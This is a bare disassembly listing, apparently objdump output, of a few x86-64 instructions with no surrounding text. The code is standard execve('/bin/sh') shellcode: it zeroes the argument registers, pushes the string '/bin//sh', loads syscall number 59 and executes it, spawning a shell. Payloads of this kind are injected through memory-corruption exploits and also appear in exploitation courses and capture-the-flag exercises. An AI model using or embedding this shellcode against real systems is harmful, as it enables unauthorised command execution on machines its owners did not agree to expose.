400080:       50                      push   %rax
  400081:       48 31 d2                xor    %rdx,%rdx
  400084:       48 31 f6                xor    %rsi,%rsi
  400087:       48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx
  40008e:       2f 73 68
  400091:       53                      push   %rbx
  400092:       54                      push   %rsp
  400093:       5f                      pop    %rdi
  400094:       b0 3b                   mov    $0x3b,%al
  400096:       0f 05                   syscall